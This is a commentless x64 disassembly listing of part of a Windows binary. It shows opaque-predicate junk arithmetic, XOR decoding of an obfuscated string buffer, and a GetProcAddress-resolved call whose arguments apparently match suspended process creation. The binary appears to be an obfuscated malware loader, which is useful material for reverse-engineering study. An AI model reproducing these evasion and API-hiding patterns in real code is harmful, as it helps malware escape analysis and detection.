movsd qword [rsp + 0x450], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x8d4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x8d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8dc], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x8d8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x8d8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8dc]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140021e46
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x8e0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x8e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x8e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x8e8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140021e46
mov dword [rsp + 0xf4], 0
jmp 0x140021d08
cmp dword [rsp + 0xf4], 4
jae 0x140021e41
cvtsi2sd xmm0, dword [rsp + 0xf4]
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16d8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16d8]
ucomisd xmm1, xmm0
jp 0x140021d83
jne 0x140021d83
mov eax, dword [rsp + 0xf4]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x450], xmm0
jmp 0x140021c02
cvtsi2sd xmm0, dword [rsp + 0xf4]
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16e0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16e0]
ucomisd xmm1, xmm0
jp 0x140021deb
jne 0x140021deb
mov eax, dword [rsp + 0xf4]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x450], xmm0
jmp 0x140021e01
xor eax, eax
test eax, eax
je 0x140021dfd
jmp 0x140021ee8
jmp 0x140021e2a
cvtsi2sd xmm0, dword [rsp + 0xf4]
movsd xmm1, qword [rsp + 0x450]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x508], eax
jmp 0x140021ef3
xor eax, eax
cmp eax, 1
je 0x140021e37
jmp 0x140021e46
jmp 0x140021c02
jmp 0x140021c02
xor eax, eax
cmp eax, 1
je 0x140021ee8
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x8ec], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x8ec]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x8f0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x8f0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x8f4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x450]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x508], eax
jmp 0x140021ef3
mov dword [rsp + 0x508], 1
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x508]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x58]
sub eax, 0x77
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x458], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x8f8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x8f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x900], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x8fc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x8fc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x900]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140022195
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x904], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x904]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x908], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x908]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x90c], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x90c]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140022195
mov dword [rsp + 0xf8], 0
jmp 0x140022057
cmp dword [rsp + 0xf8], 4
jae 0x140022190
cvtsi2sd xmm0, dword [rsp + 0xf8]
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16e8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16e8]
ucomisd xmm1, xmm0
jp 0x1400220d2
jne 0x1400220d2
mov eax, dword [rsp + 0xf8]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x458], xmm0
jmp 0x140021f51
cvtsi2sd xmm0, dword [rsp + 0xf8]
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16f0], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16f0]
ucomisd xmm1, xmm0
jp 0x14002213a
jne 0x14002213a
mov eax, dword [rsp + 0xf8]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x458], xmm0
jmp 0x140022150
xor eax, eax
test eax, eax
je 0x14002214c
jmp 0x140022237
jmp 0x140022179
cvtsi2sd xmm0, dword [rsp + 0xf8]
movsd xmm1, qword [rsp + 0x458]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x50c], eax
jmp 0x140022242
xor eax, eax
cmp eax, 1
je 0x140022186
jmp 0x140022195
jmp 0x140021f51
jmp 0x140021f51
xor eax, eax
cmp eax, 1
je 0x140022237
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x910], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x910]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x918], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x914], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x914]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x918]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x458]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x50c], eax
jmp 0x140022242
mov dword [rsp + 0x50c], 1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
mov eax, dword [rsp + 0x58]
sub eax, 0x77
cvtsi2sd xmm1, eax
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x460], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x91c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x91c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x924], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x920], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x920]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x924]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x1400224bb
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x928], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x928]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x92c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x92c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x930], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x930]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400224bb
mov dword [rsp + 0xfc], 0
jmp 0x14002237d
cmp dword [rsp + 0xfc], 4
jae 0x1400224b6
cvtsi2sd xmm0, dword [rsp + 0xfc]
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x16f8], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x16f8]
ucomisd xmm1, xmm0
jp 0x1400223f8
jne 0x1400223f8
mov eax, dword [rsp + 0xfc]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x460], xmm0
jmp 0x140022277
cvtsi2sd xmm0, dword [rsp + 0xfc]
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1700], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1700]
ucomisd xmm1, xmm0
jp 0x140022460
jne 0x140022460
mov eax, dword [rsp + 0xfc]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x460], xmm0
jmp 0x140022476
xor eax, eax
test eax, eax
je 0x140022472
jmp 0x14002255d
jmp 0x14002249f
cvtsi2sd xmm0, dword [rsp + 0xfc]
movsd xmm1, qword [rsp + 0x460]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x510], eax
jmp 0x140022568
xor eax, eax
cmp eax, 1
je 0x1400224ac
jmp 0x1400224bb
jmp 0x140022277
jmp 0x140022277
xor eax, eax
cmp eax, 1
je 0x14002255d
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x934], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x934]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x93c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x938], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x938]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x93c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x460]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x510], eax
jmp 0x140022568
mov dword [rsp + 0x510], 1
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov eax, dword [rcx + rax*4]
add eax, dword [rsp + 0x50c]
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov edi, dword [rsp + 0x510]
mov ecx, dword [rdx + rcx*4]
and ecx, edi
shl ecx, 1
sub eax, ecx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x940], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x940]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x944], eax
call fcn.14001b988
movsx eax, al
shl eax, 3
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x944]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x948], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x948]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140022966
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140108390]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x468], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x94c], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x94c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x954], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x950], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x950]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x954]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140022890
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x958], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x958]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x95c], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x95c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x960], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x960]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140022890
mov dword [rsp + 0x8c], 0
jmp 0x140022752
cmp dword [rsp + 0x8c], 4
jae 0x14002288b
cvtsi2sd xmm0, dword [rsp + 0x8c]
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1708], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1708]
ucomisd xmm1, xmm0
jp 0x1400227cd
jne 0x1400227cd
mov eax, dword [rsp + 0x8c]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x468], xmm0
jmp 0x14002264c
cvtsi2sd xmm0, dword [rsp + 0x8c]
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1710], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1710]
ucomisd xmm1, xmm0
jp 0x140022835
jne 0x140022835
mov eax, dword [rsp + 0x8c]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x468], xmm0
jmp 0x14002284b
xor eax, eax
test eax, eax
je 0x140022847
jmp 0x140022932
jmp 0x140022874
cvtsi2sd xmm0, dword [rsp + 0x8c]
movsd xmm1, qword [rsp + 0x468]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x514], eax
jmp 0x14002293d
xor eax, eax
cmp eax, 1
je 0x140022881
jmp 0x140022890
jmp 0x14002264c
jmp 0x14002264c
xor eax, eax
cmp eax, 1
je 0x140022932
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x964], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x964]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x96c], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x968], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x968]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x96c]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x468]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x514], eax
jmp 0x14002293d
mov dword [rsp + 0x514], 1
movsxd rax, dword [rsp + 0x58]
mov rcx, qword [rsp + 0x1f8]
mov edx, dword [rsp + 0x514]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x58]
mov rdx, qword [rsp + 0x1f8]
mov dword [rdx + rcx*4], eax
jmp 0x14002135b
mov rax, qword [rsp + 0x708]
mov byte [rax + 4], 1
mov eax, 4
imul rax, rax, 0
mov rcx, qword [rsp + 0x708]
mov eax, dword [rcx + rax]
mov dword [rsp + 0x970], eax
lea rax, [rsp + 0x1b08]
mov ecx, dword [rsp + 0x970]
mov qword [rsp + 0x1718], rcx
lea rdx, [0x140132d00]
mov rcx, rax
mov rax, qword [rsp + 0x1718]
call qword [rdx + rax*8]
mov rdx, rax
mov rcx, qword [rsp + 0x1e0]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x1540], rax
cmp qword [rsp + 0x1540], 0
jne 0x1400229e9
xor al, al
jmp 0x14002fed5
lea rax, [rsp + 0x768]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x1c50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x1dd0]
call qword [rsp + 0x1540]
test rax, rax
je 0x140022a4b
mov byte [rsp + 0x81], 1
jmp 0x140022a53
mov byte [rsp + 0x81], 0
mov al, byte [rsp + 0x81]
mov byte [rsp + 0x19e], al
movzx eax, byte [rsp + 0x19e]
test eax, eax
jne 0x140022a74
xor al, al
jmp 0x14002fed5
mov dword [rsp + 0x680], 0x56b5
mov dword [rsp + 0x974], 0x441a
mov dword [rsp + 0x978], 0x4acc
mov eax, dword [rsp + 0x974]
mov dword [rsp + 0x680], eax
cmp dword [rsp + 0x680], 0
je 0x140022ab8
mov dword [rsp + 0x978], 0x3545
mov dword [rsp + 0x270], 0
jmp 0x140022ad5
mov eax, dword [rsp + 0x270]
inc eax
mov dword [rsp + 0x270], eax
cmp dword [rsp + 0x270], 0xf
jge 0x140022af3
movsxd rax, dword [rsp + 0x270]
xor ecx, ecx
mov word [rsp + rax*2 + 0x1b08], cx
jmp 0x140022ac5
movzx eax, byte [rsp + 0x50]
test eax, eax
je 0x140024423
lea rax, [rsp + 0x4b2]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rax, [rsp + 0x1b28]
lea rcx, [0x140107e80]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1e
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x19f]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
mov dword [rsp + 0x684], 0x93a9
mov dword [rsp + 0x97c], 0x2f2d
mov dword [rsp + 0x980], 0x5bc8
mov eax, dword [rsp + 0x97c]
mov dword [rsp + 0x684], eax
cmp dword [rsp + 0x684], 0
je 0x140022b88
mov dword [rsp + 0x980], 0x63ad
mov dword [rsp + 0x688], 0x43cc
mov dword [rsp + 0x984], 0x3b4c
mov dword [rsp + 0x988], 0x45d2
mov eax, dword [rsp + 0x984]
mov dword [rsp + 0x688], eax
cmp dword [rsp + 0x688], 0
je 0x140022bcc
mov dword [rsp + 0x988], 0x4e60
mov eax, 2
imul rax, rax, 0xe
movzx eax, word [rsp + rax + 0x1b28]
test eax, eax
je 0x140022bee
mov dword [rsp + 0x6d8], 1
jmp 0x140022bf9
mov dword [rsp + 0x6d8], 0
movzx eax, byte [rsp + 0x6d8]
test eax, eax
je 0x140022cbc
mov dword [rsp + 0x68c], 0x65d6
mov dword [rsp + 0x98c], 0x88c8
mov dword [rsp + 0x990], 0x6e8c
mov eax, dword [rsp + 0x98c]
mov dword [rsp + 0x68c], eax
cmp dword [rsp + 0x68c], 0
je 0x140022c4d
mov dword [rsp + 0x990], 0x9ca6
mov dword [rsp + 0x1cc], 0
jmp 0x140022c6a
mov eax, dword [rsp + 0x1cc]
inc eax
mov dword [rsp + 0x1cc], eax
cmp dword [rsp + 0x1cc], 0xf
jge 0x140022cbc
movsxd rax, dword [rsp + 0x1cc]
movzx eax, word [rsp + rax*2 + 0x1b28]
mov dword [rsp + 0x994], eax
mov eax, dword [rsp + 0x1cc]
cdq
mov ecx, 0x35
idiv ecx
mov eax, edx
add eax, 0x36
mov ecx, dword [rsp + 0x994]
xor ecx, eax
mov eax, ecx
movsxd rcx, dword [rsp + 0x1cc]
mov word [rsp + rcx*2 + 0x1b28], ax
jmp 0x140022c5a
lea rcx, [rsp + 0x19f]
call fcn.140030218
mov qword [rsp + 0x710], rax
mov rax, qword [rsp + 0x710]
movzx eax, byte [rax + 4]
test eax, eax
jne 0x14002430f
mov rax, qword [rsp + 0x710]
mov qword [rsp + 0x200], rax
mov dword [rsp + 0x5c], 0
jmp 0x140022d09
mov eax, dword [rsp + 0x5c]
inc eax
mov dword [rsp + 0x5c], eax
movsxd rax, dword [rsp + 0x5c]
cmp rax, 1
jae 0x14002430f
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x998], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x998]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x99c], eax
call fcn.14001b988
movsx eax, al
shl eax, 1
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x99c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a0], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x9a0]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x1400230d1
mov al, byte [0x14012e026]
movsx eax, al
mov cl, byte [0x14012e022]
movsx ecx, cl
shl ecx, 1
sub eax, ecx
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x1401083a8]
mulsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x470], xmm0
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x9a4], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x9a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9ac], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 0xa
mov dword [rsp + 0x9a8], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x9a8]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9ac]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140022ffb
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x9b0], eax
call fcn.14001b9ac
movsx eax, al
mov ecx, dword [rsp + 0x9b0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b4], eax
call fcn.14001b988
movsx eax, al
imul eax, eax, 5
mov cl, byte [0x140134fb0]
movsx ecx, cl
imul eax, ecx
mov ecx, dword [rsp + 0x9b4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b8], eax
call fcn.14001b9d0
movsx eax, al
mov ecx, dword [rsp + 0x9b8]
sub ecx, eax
mov eax, ecx
test eax, eax
je 0x140022ffb
mov dword [rsp + 0x90], 0
jmp 0x140022ebd
cmp dword [rsp + 0x90], 4
jae 0x140022ff6
cvtsi2sd xmm0, dword [rsp + 0x90]
movsd xmm1, qword [rsp + 0x470]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1720], xmm0
call fcn.14001b964
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1720]
ucomisd xmm1, xmm0
jp 0x140022f38
jne 0x140022f38
mov eax, dword [rsp + 0x90]
and eax, 0
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x470]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x470], xmm0
jmp 0x140022db7
cvtsi2sd xmm0, dword [rsp + 0x90]
movsd xmm1, qword [rsp + 0x470]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x1728], xmm0
call fcn.14001b970
movsx eax, al
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x1728]
ucomisd xmm1, xmm0
jp 0x140022fa0
jne 0x140022fa0
mov eax, dword [rsp + 0x90]
and eax, 1
cvtsi2sd xmm0, eax
movsd xmm1, qword [rsp + 0x470]
addsd xmm1, xmm0
movaps xmm0, xmm1
movsd qword [rsp + 0x470], xmm0
jmp 0x140022fb6
xor eax, eax
test eax, eax
je 0x140022fb2
jmp 0x14002309d
jmp 0x140022fdf
cvtsi2sd xmm0, dword [rsp + 0x90]
movsd xmm1, qword [rsp + 0x470]
addsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x518], eax
jmp 0x1400230a8
xor eax, eax
cmp eax, 1
je 0x140022fec
jmp 0x140022ffb
jmp 0x140022db7
jmp 0x140022db7
xor eax, eax
cmp eax, 1
je 0x14002309d
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x9bc], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x9bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c4], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 6
mov dword [rsp + 0x9c0], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x9c0]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9c4]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
movsd xmm1, qword [rsp + 0x470]
mulsd xmm1, xmm0
movaps xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [rsp + 0x518], eax
jmp 0x1400230a8
mov dword [rsp + 0x518], 1
movsxd rax, dword [rsp + 0x5c]
mov rcx, qword [rsp + 0x200]
mov edx, dword [rsp + 0x518]
mov eax, dword [rcx + rax*4]
xor eax, edx
movsxd rcx, dword [rsp + 0x5c]
mov rdx, qword [rsp + 0x200]
mov dword [rdx + rcx*4], eax
mov al, byte [0x14012e028]
movsx eax, al
mov dword [rsp + 0x9c8], eax
call fcn.14001b9b8
movsx eax, al
mov ecx, dword [rsp + 0x9c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9d0], eax
call fcn.14001b97c
movsx eax, al
imul eax, eax, 3
mov dword [rsp + 0x9cc], eax
call fcn.14001b964
movsx eax, al
mov ecx, dword [rsp + 0x9cc]
imul ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x9d0]
add ecx, eax
mov eax, ecx
mov cl, byte [0x14012e027]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x14012e020]
movsx ecx, cl
sub eax, ecx
test eax, eax
je 0x140023f50
mov al, byte [0x14012e022]
movsx eax, al
mov dword [rsp + 0x9d4], eax
call fcn.14001b9ac
movsx eax, al
